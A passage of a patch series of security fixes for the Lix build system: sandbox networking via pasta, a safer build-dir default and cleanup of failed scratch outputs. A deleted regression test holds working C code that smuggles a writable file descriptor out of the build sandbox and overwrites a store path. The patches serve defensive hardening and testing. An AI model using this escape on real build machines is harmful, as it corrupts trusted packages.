./misc/capnproto.nix { inherit stdenv; }; ++ ++ passt-lix = callPackage ./misc/passt.nix { }; + }, + }: + +@@ -249,6 +253,7 @@ stdenv.mkDerivation (finalAttrs: { + # which don't actually get added to PATH. And buildInputs is correct over + # nativeBuildInputs since this should be a busybox executable on the host. + "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}" ++ "-Dpasta-path=${lib.getExe' passt-lix "pasta"}" + ] + ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true" + ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false" +@@ -334,6 +339,7 @@ stdenv.mkDerivation (finalAttrs: { + ++ lib.optionals hostPlatform.isLinux [ + libseccomp + busybox-sandbox-shell ++ passt-lix + ] + ++ lib.optionals ( + stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0" +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +deleted file mode 100644 +index a6ae72adc..000000000 +--- a/tests/nixos/ca-fd-leak/default.nix ++++ /dev/null +@@ -1,90 +0,0 @@ +-# Nix is a sandboxed build system. But Not everything can be handled inside its +-# sandbox: Network access is normally blocked off, but to download sources, a +-# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". +-# The detail here is not important, but in our case it means that the hash of +-# the output has to be known beforehand. And if you know that, you get a few +-# rights: you no longer run inside a special network namespace! +-# +-# Now, Linux has a special feature, that not many other unices do: Abstract +-# unix domain sockets! Not only that, but those are namespaced using the +-# network namespace! That means that we have a way to create sockets that are +-# available in every single fixed-output derivation, and also all processes +-# running on the host machine! Now, this wouldn't be that much of an issue, as, +-# well, the whole idea is that the output is pure, and all processes in the +-# sandbox are killed before finalizing the output. What if we didn't need those +-# processes at all? Unix domain sockets have a semi-known trick: you can pass +-# file descriptors around! +-# This makes it possible to exfiltrate a file-descriptor with write access to +-# $out outside of the sandbox. And that file-descriptor can be used to modify +-# the contents of the store path after it has been registered. +- +-{ config, ... }: +- +-let +- pkgs = config.nodes.machine.nixpkgs.pkgs; +- +- # Simple C program that sends a a file descriptor to `$out` to a Unix +- # domain socket. +- # Compiled statically so that we can easily send it to the VM and use it +- # inside the build sandbox. +- sender = pkgs.runCommandWith { +- name = "sender"; +- stdenv = pkgs.pkgsStatic.stdenv; +- } '' +- $CC -static -o $out ${./sender.c} +- ''; +- +- # Okay, so we have a file descriptor shipped out of the FOD now. But the +- # Nix store is read-only, right? .. Well, yeah. But this file descriptor +- # lives in a mount namespace where it is not! So even when this file exists +- # in the actual Nix store, we're capable of just modifying its contents... +- smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); +- +- # The abstract socket path used to exfiltrate the file descriptor +- socketName = "FODSandboxExfiltrationSocket"; +-in +-{ +- name = "ca-fd-leak"; +- +- nodes.machine = +- { config, lib, pkgs, ... }: +- { virtualisation.writableStore = true; +- nix.settings.substituters = lib.mkForce [ ]; +- virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; +- }; +- +- testScript = { nodes }: '' +- start_all() +- +- machine.succeed("echo hello") +- # Start the smuggler server +- machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") +- +- # Build the smuggled derivation. +- # This will connect to the smuggler server and send it the file descriptor +- machine.succeed(r""" +- nix-build -E ' +- builtins.derivation { +- name = "smuggled"; +- system = builtins.currentSystem; +- # look ma, no tricks! +- outputHashMode = "flat"; +- outputHashAlgo = "sha256"; +- outputHash = builtins.hashString "sha256" "hello, world\n"; +- builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; +- args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; +- }' +- """.strip()) +- +- +- # Tell the smuggler server that we're done +- machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") +- +- # Check that the file was not modified +- machine.succeed(r""" +- cat ./result +- test "$(cat ./result)" = "hello, world" +- """.strip()) +- ''; +- +-} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +deleted file mode 100644 +index 75e54fc8f..000000000 +--- a/tests/nixos/ca-fd-leak/sender.c ++++ /dev/null +@@ -1,65 +0,0 @@ +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +- +-int main(int argc, char **argv) { +- +- assert(argc == 2); +- +- int sock = socket(AF_UNIX, SOCK_STREAM, 0); +- +- // Set up a abstract domain socket path to connect to. +- struct sockaddr_un data; +- data.sun_family = AF_UNIX; +- data.sun_path[0] = 0; +- strcpy(data.sun_path + 1, argv[1]); +- +- // Now try to connect, To ensure we work no matter what order we are +- // executed in, just busyloop here. +- int res = -1; +- while (res < 0) { +- res = connect(sock, (const struct sockaddr *)&data, +- offsetof(struct sockaddr_un, sun_path) +- + strlen(argv[1]) +- + 1); +- if (res < 0 && errno != ECONNREFUSED) perror("connect"); +- if (errno != ECONNREFUSED) break; +- } +- +- // Write our message header. +- struct msghdr msg = {0}; +- msg.msg_control = malloc(128); +- msg.msg_controllen = 128; +- +- // Write an SCM_RIGHTS message containing the output path. +- struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); +- hdr->cmsg_len = CMSG_LEN(sizeof(int)); +- hdr->cmsg_level = SOL_SOCKET; +- hdr->cmsg_type = SCM_RIGHTS; +- int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); +- memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); +- +- msg.msg_controllen = CMSG_SPACE(sizeof(int)); +- +- // Write a single null byte too. +- msg.msg_iov = malloc(sizeof(struct iovec)); +- msg.msg_iov[0].iov_base = ""; +- msg.msg_iov[0].iov_len = 1; +- msg.msg_iovlen = 1; +- +- // Send it to the othher side of this connection. +- res = sendmsg(sock, &msg, 0); +- if (res < 0) perror("sendmsg"); +- int buf; +- +- // Wait for the server to close the socket, implying that it has +- // received the commmand. +- recv(sock, (void *)&buf, sizeof(int), 0); +-} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +deleted file mode 100644 +index 82acf37e6..000000000 +--- a/tests/nixos/ca-fd-leak/smuggler.c ++++ /dev/null +@@ -1,66 +0,0 @@ +-#include +-#include +-#include +-#include +-#include +-#include +-#include +- +-int main(int argc, char **argv) { +- +- assert(argc == 2); +- +- int sock = socket(AF_UNIX, SOCK_STREAM, 0); +- +- // Bind to the socket. +- struct sockaddr_un data; +- data.sun_family = AF_UNIX; +- data.sun_path[0] = 0; +- strcpy(data.sun_path + 1, argv[1]); +- int res = bind(sock, (const struct sockaddr *)&data, +- offsetof(struct sockaddr_un, sun_path) +- + strlen(argv[1]) +- + 1); +- if (res < 0) perror("bind"); +- +- res = listen(sock, 1); +- if (res < 0) perror("listen"); +- +- int smuggling_fd = -1; +- +- // Accept the connection a first time to receive the file descriptor. +- fprintf(stderr, "%s\n", "Waiting for the first connection"); +- int a = accept(sock, 0, 0); +- if (a < 0) perror("accept"); +- +- struct msghdr msg = {0}; +- msg.msg_control = malloc(128); +- msg.msg_controllen = 128; +- +- // Receive the file descriptor as sent by the smuggler. +- recvmsg(a, &msg, 0); +- +- struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); +- while (hdr) { +- if (hdr->cmsg_level == SOL_SOCKET +- && hdr->cmsg_type == SCM_RIGHTS) { +- +- // Grab the copy of the file descriptor. +- memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); +- } +- +- hdr = CMSG_NXTHDR(&msg, hdr); +- } +- fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); +- close(a); +- +- // Wait for a second connection, which will tell us that the build is +- // done +- a = accept(sock, 0, 0); +- fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); +- // Write a new content to the file +- if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); +- char * new_content = "Pwned\n"; +- int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); +- if (written_bytes != strlen(new_content)) perror("write"); +-} +diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix +index 474b4ad64..2ad0923e1 100644 +--- a/tests/nixos/default.nix ++++ b/tests/nixos/default.nix +@@ -160,8 +160,6 @@ in + ["i686-linux" "x86_64-linux"] + (system: runNixOSTestFor system ./setuid/setuid.nix); + +- ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; +- + fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; + + symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; +diff --git a/tests/nixos/fetchurl.nix b/tests/nixos/fetchurl.nix +index 719405be5..1626e1c03 100644 +--- a/tests/nixos/fetchurl.nix ++++ b/tests/nixos/fetchurl.nix +@@ -52,7 +52,7 @@ in + + security.pki.certificateFiles = [ "${goodCert}/cert.pem" ]; + +- networking.hosts."127.0.0.1" = [ "good" "bad" ]; ++ networking.hosts."192.168.1.1" = [ "good" "bad" ]; + + virtualisation.writableStore = true; + +-- +2.49.0 + + +From 05eba34893122d395774b4ee5eaf4c03ae588ea0 Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Sun, 30 Mar 2025 16:45:34 +0200 +Subject: [SECURITY FIX 11/12] libstore: don't default build-dir to temp-dir + +if a build directory is accessible to other users it is possible to +smuggle data in and out of build directories. usually this ins only +a build purity problem, but in combination with other issues it can +be used to break out of a build sandbox. to prevent this we default +to using a subdirectory of nixStateDir (which is more restrictive). + +Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0 +--- + doc/manual/rl-next/build-dir-mandatory.md | 12 +++++++++++ + lix/libstore/build/local-derivation-goal.cc | 4 +++- + lix/libstore/settings/build-dir.md | 18 ++++++++++++---- + misc/systemd/nix-daemon.conf.in | 3 ++- + .../build-remote-trustless-should-fail-0.sh | 1 - + tests/functional/build-remote-trustless.sh | 1 - + tests/functional/build-remote.sh | 1 - + tests/functional/check.sh | 21 ------------------- + tests/functional/supplementary-groups.sh | 1 - + 9 files changed, 31 insertions(+), 31 deletions(-) + create mode 100644 doc/manual/rl-next/build-dir-mandatory.md + +diff --git a/doc/manual/rl-next/build-dir-mandatory.md b/doc/manual/rl-next/build-dir-mandatory.md +new file mode 100644 +index 000000000..6f69bbba3 +--- /dev/null ++++ b/doc/manual/rl-next/build-dir-mandatory.md +@@ -0,0 +1,12 @@ ++--- ++synopsis: "`build-dir` no longer defaults to `temp-dir`" ++cls: [] ++category: "Fixes" ++credits: [horrors] ++--- ++ ++The directory in which temporary build directories are created no longer defaults ++to the value of the `temp-dir` setting to avoid builders making their directories ++world-accessible. This behavior has been used to escape the build sandbox and can ++cause build impurities even when not used maliciously. We now default to `builds` ++in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration). +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index 7ccb0ad33..2e22f2544 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -435,10 +435,12 @@ try { + }); + } + ++ createDirs(settings.buildDir.get()); ++ + /* Create a temporary directory where the build will take + place. */ + tmpDir = createTempDir( +- settings.buildDir.get().value_or(""), ++ settings.buildDir.get(), + "nix-build-" + std::string(drvPath.name()), + false, + false, +diff --git a/lix/libstore/settings/build-dir.md b/lix/libstore/settings/build-dir.md +index f518d52a5..738368622 100644 +--- a/lix/libstore/settings/build-dir.md ++++ b/lix/libstore/settings/build-dir.md +@@ -1,14 +1,24 @@ + --- + name: build-dir + internalName: buildDir +-settingType: PathsSetting> +-default: null ++settingType: PathsSetting ++defaultText: "`«nixStateDir»/builds`" ++defaultExpr: nixStateDir + "/builds" + --- + The directory on the host, in which derivations' temporary build directories are created. + +-If not set, Nix will use the [`temp-dir`](#conf-temp-dir) setting if set, otherwise the system temporary directory indicated by the `TMPDIR` environment variable. +-Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface. ++If not set, Lix will use the `builds` subdirectory of its configured state directory. ++Lix will create this directory automatically with suitable permissions if it does not ++exist, otherwise its permissions must allow all users to traverse the directory (i.e. ++it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly. + + This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files. + + If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir). ++ ++> Important: ++> ++> `build-dir` must not be set to a world-writable directory. Placing temporary build ++> directories in a world-writable place allows other users to access or modify build ++> data that is currently in use. This alone is merely an impurity, but combined with ++> another factor this has allowed malicious derivations to escape the build sandbox. +diff --git a/misc/systemd/nix-daemon.conf.in b/misc/systemd/nix-daemon.conf.in +index e7b264234..a0ddc4019 100644 +--- a/misc/systemd/nix-daemon.conf.in ++++ b/misc/systemd/nix-daemon.conf.in +@@ -1 +1,2 @@ +-d @localstatedir@/nix/daemon-socket 0755 root root - - ++d @localstatedir@/nix/daemon-socket 0755 root root - - ++d @localstatedir@/nix/builds 0755 root root 7d - +diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh +index 1582a7b32..e938e63a2 100644 +--- a/tests/functional/build-remote-trustless-should-fail-0.sh ++++ b/tests/functional/build-remote-trustless-should-fail-0.sh +@@ -8,7 +8,6 @@ requireSandboxSupport + [[ $busybox =~ busybox ]] || skipTest "no busybox" + + unset NIX_STORE_DIR +-unset NIX_STATE_DIR + + # We first build a dependency of the derivation we eventually want to + # build. +diff --git a/tests/functional/build-remote-trustless.sh b/tests/functional/build-remote-trustless.sh +index 81e5253bf..a0733fd4a 100644 +--- a/tests/functional/build-remote-trustless.sh ++++ b/tests/functional/build-remote-trustless.sh +@@ -2,7 +2,6 @@ requireSandboxSupport + [[ $busybox =~ busybox ]] || skipTest "no busybox" + + unset NIX_STORE_DIR +-unset NIX_STATE_DIR + + remoteDir=$TEST_ROOT/remote + +diff --git a/tests/functional/build-remote.sh b/tests/functional/build-remote.sh +index 9b2f5feaf..c7aa09745 100644 +--- a/tests/functional/build-remote.sh ++++ b/tests/functional/build-remote.sh +@@ -3,7 +3,6 @@ requireSandboxSupport + + # Avoid store dir being inside sandbox build-dir + unset NIX_STORE_DIR +-unset NIX_STATE_DIR + + function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; } + +diff --git a/tests/functional/check.sh b/tests/functional/check.sh +index fc63b9e21..e6d017aa1 100644 +--- a/tests/functional/check.sh ++++ b/tests/functional/check.sh +@@ -49,27 +49,6 @@ test_custom_build_dir() { + } + test_custom_build_dir + +-test_custom_temp_dir() { +- # like test_custom_build_dir(), but uses the temp-dir setting instead +- # build-dir inherits from temp-dir when build-dir is unset +- local customTempDir="$TEST_ROOT/custom-temp-dir" +- +- mkdir "$customTempDir" +- nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \ +- --no-out-link --keep-failed --option temp-dir "$customTempDir" 2> $TEST_ROOT/log || status=$? +- [ "$status" = "100" ] +- [[ 1 == "$(count "$customTempDir/nix-build-"*)" ]] +- local buildDir="$customTempDir/nix-build-"* +- grep $checkBuildId $buildDir/checkBuildId +- +- # also check a separate code path that doesn't involve build-dir +- # nix-shell uses temp-dir for its rcfile path +- rcpath=$(NIX_BUILD_SHELL=$SHELL nix-shell check.nix -A deterministic --option temp-dir "$customTempDir" --run 'echo $0' 2> $TEST_ROOT/log) +- # rcpath is /nix-shell-*/rc +- [[ $rcpath = "$customTempDir"/* ]] +-} +-test_custom_temp_dir +- + test_shell_preserves_tmpdir() { + # ensure commands that spawn interactive shells don't overwrite TMPDIR with temp-dir + local envTempDir=$TEST_ROOT/shell-temp-dir-env +diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh +index d18fb2414..c1a949eb4 100644 +--- a/tests/functional/supplementary-groups.sh ++++ b/tests/functional/supplementary-groups.sh +@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash < +Date: Sat, 26 Apr 2025 20:38:58 +0200 +Subject: [SECURITY FIX 12/12] libstore/build: automatic clean up of + unsuccessfully built scratch outputs + +When a build fails, its scratch output paths are not cleaned up. + +Until recently, this was deemed not a problem but as part of the effort +to harden the Nix builds and protect these paths against being part of a +staged attack (race conditions, etc.), we automatically cleanup after +failed builds. + +Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09 +Signed-off-by: Raito Bezarius +--- + .../aggressive-derivation-output-cleanups.md | 15 +++++++ + lix/libstore/build/local-derivation-goal.cc | 41 +++++++++++++++---- + lix/libstore/build/local-derivation-goal.hh | 15 ++++++- + tests/nixos/default.nix | 3 ++ + tests/nixos/non-chroot-misc/default.nix | 34 +++++++++++++++ + 5 files changed, 99 insertions(+), 9 deletions(-) + create mode 100644 doc/manual/rl-next/aggressive-derivation-output-cleanups.md + create mode 100644 tests/nixos/non-chroot-misc/default.nix + +diff --git a/doc/manual/rl-next/aggressive-derivation-output-cleanups.md b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md +new file mode 100644 +index 000000000..7e94b99df +--- /dev/null ++++ b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md +@@ -0,0 +1,15 @@ ++--- ++synopsis: "Always clean up scratch paths after derivations failed to build" ++issues: [] ++cls: [] ++category: "Fixes" ++credits: ["raito", "horrors"] ++--- ++ ++Previously, scratch paths created during builds were not always cleaned up if ++the derivation failed, potentially leaving behind unnecessary temporary files ++or directories in the Nix store. ++ ++This fix ensures that such paths are consistently removed after a failed build, ++improving Nix store hygiene, hardening Lix against mis-reuse of failed builds ++scratch paths. +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index 2e22f2544..13bda5df9 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -393,9 +393,13 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeCheck() + + void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() + { +- /* Delete unused redirected outputs (when doing hash rewriting). */ +- for (auto & i : redirectedOutputs) +- deletePath(worker.store.Store::toRealPath(i.second)); ++ /* In the past, redirected outputs were manually tracked for deletion. ++ * Now that we have the scratch outputs cleaner which are a superset of ++ * redirected outputs, we just fire all uncancelled automatic deleters now. ++ * ++ * This should clean up any paths that IS NOT registered in the database. ++ */ ++ scratchOutputsCleaner.clear(); + + /* Delete the chroot (if we were using one). */ + autoDelChroot.reset(); /* this runs the destructor */ +@@ -483,6 +487,10 @@ try { + to use a temporary path */ + makeFallbackPath(status.known->path); + scratchOutputs.insert_or_assign(outputName, scratchPath); ++ /* Schedule this scratch output path for automatic deletion ++ * if we do not cancel it, e.g. when registering the outputs. ++ */ ++ scratchOutputsCleaner.emplace(outputName, worker.store.printStorePath(scratchPath)); + + /* Substitute output placeholders with the scratch output paths. + We'll use during the build. */ +@@ -505,8 +513,6 @@ try { + std::string h2 { scratchPath.hashPart() }; + inputRewrites[h1] = h2; + } +- +- redirectedOutputs.insert_or_assign(std::move(fixedFinalPath), std::move(scratchPath)); + } + + /* Construct the environment passed to the builder. */ +@@ -1966,7 +1972,9 @@ try { + } + + /* Don't register anything, since we already have the +- previous versions which we're comparing. */ ++ previous versions which we're comparing. ++ NOTE: this means that the `.check` path will be automatically deleted. ++ */ + continue; + } + +@@ -1990,8 +1998,13 @@ try { + /* If it's a CA path, register it right away. This is necessary if it + isn't statically known so that we can safely unlock the path before + the next iteration */ +- if (newInfo.ca) ++ if (newInfo.ca) { + TRY_AWAIT(localStore.registerValidPaths({{newInfo.path, newInfo}})); ++ /* Cancel automatic deletion of that output if it was a scratch output. */ ++ if (auto cleaner = scratchOutputsCleaner.extract(outputName)) { ++ cleaner.mapped().cancel(); ++ } ++ } + + infos.emplace(outputName, std::move(newInfo)); + } +@@ -2030,6 +2043,13 @@ try { + infos2.insert_or_assign(newInfo.path, newInfo); + } + TRY_AWAIT(localStore.registerValidPaths(infos2)); ++ ++ /* Cancel automatic deletion of that output if it was a scratch output that we just registered. */ ++ for (auto & [outputName, _ ] : infos) { ++ if (auto cleaner = scratchOutputsCleaner.extract(outputName)) { ++ cleaner.mapped().cancel(); ++ } ++ } + } + + /* In case of a fixed-output derivation hash mismatch, throw an +@@ -2057,6 +2077,13 @@ try { + builtOutputs.emplace(outputName, thisRealisation); + } + ++ /* NOTE: At this point, all outputs MAY NOT have been registered. ++ * Therefore, there may remains auto-deleters pending in the cleaner list (`scratchOutputsCleaner`). ++ * ++ * They will be finally deleted but we have no way to assert they all have been, e.g. ++ * `assert(scratchOutputsCleaner.size() == 0)` cannot be written. ++ */ ++ + co_return builtOutputs; + } catch (...) { + co_return result::current_exception(); +diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh +index a0031e141..7e1b9a632 100644 +--- a/lix/libstore/build/local-derivation-goal.hh ++++ b/lix/libstore/build/local-derivation-goal.hh +@@ -111,8 +111,6 @@ struct LocalDerivationGoal : public DerivationGoal + * Hash rewriting. + */ + StringMap inputRewrites, outputRewrites; +- typedef map RedirectedOutputs; +- RedirectedOutputs redirectedOutputs; + + /** + * The outputs paths used during the build. +@@ -129,6 +127,19 @@ struct LocalDerivationGoal : public DerivationGoal + * self-references. + */ + OutputPathMap scratchOutputs; ++ /** ++ * Output paths used during the build are scheduled for ++ * automatic cleanup unless they have been successfully built. ++ * ++ * `registerOutputs` take care of cancelling the cleanups ++ * and clearing this vector. ++ * ++ * `startBuilder` take care of filling this vector ++ * as `scratchOutputs` gets filled. ++ * ++ * This is a map from output names to automatic delete handles. ++ */ ++ std::map scratchOutputsCleaner; + + /** + * Path registration info from the previous round, if we're +diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix +index 2ad0923e1..7b9e11613 100644 +--- a/tests/nixos/default.nix ++++ b/tests/nixos/default.nix +@@ -164,6 +164,9 @@ in + + symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; + ++ # Use this test to test things that cannot easily be tested under chroot Nix stores in functional test suite. ++ non-chroot-misc = runNixOSTestFor "x86_64-linux" ./non-chroot-misc; ++ + noNewPrivilegesInSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/sandbox.nix; + + noNewPrivilegesOutsideSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/no-sandbox.nix; +diff --git a/tests/nixos/non-chroot-misc/default.nix b/tests/nixos/non-chroot-misc/default.nix +new file mode 100644 +index 000000000..93a66a595 +--- /dev/null ++++ b/tests/nixos/non-chroot-misc/default.nix +@@ -0,0 +1,34 @@ ++{ ... }: ++# Misc things we want to test inside of a non redirected, non chroot Nix store. ++let ++ nonAutoCleaningFailingDerivationCode = '' ++ derivation { ++ name = "scratch-failing"; ++ system = builtins.currentSystem; ++ builder = "/bin/sh"; ++ args = [ (builtins.toFile "builder.sh" "echo bonjour > $out; echo out: $out; false") ]; ++ } ++ ''; ++in ++{ ++ name = "non-chroot-sandbox-misc"; ++ ++ nodes.machine = { ++ }; ++ ++ testScript = { nodes }: '' ++ import re ++ start_all() ++ ++ # You might ask yourself why write such a convoluted thing? ++ # The condition for fooling Nix into NOT cleaning up the output path are non trivial and unclear. ++ # This is one of those: create a derivation, mkdir or touch the $out path, communicate it back. ++ # Even with a sandboxed Lix, you will observe leftovers before 2.93.0. After this version, this test passes. ++ result = machine.fail("""nix-build --substituters "" -E '${nonAutoCleaningFailingDerivationCode}' 2>&1""") ++ match = re.search(r'out: (\S+)', result) ++ assert match is not None, "Did not find Nix store path in the result of the failing build" ++ outpath = match.group(1).strip() ++ print(f"Found Nix store path: {outpath}") ++ machine.fail(f'stat {outpath}') ++ ''; ++} +-- +2.49.0 +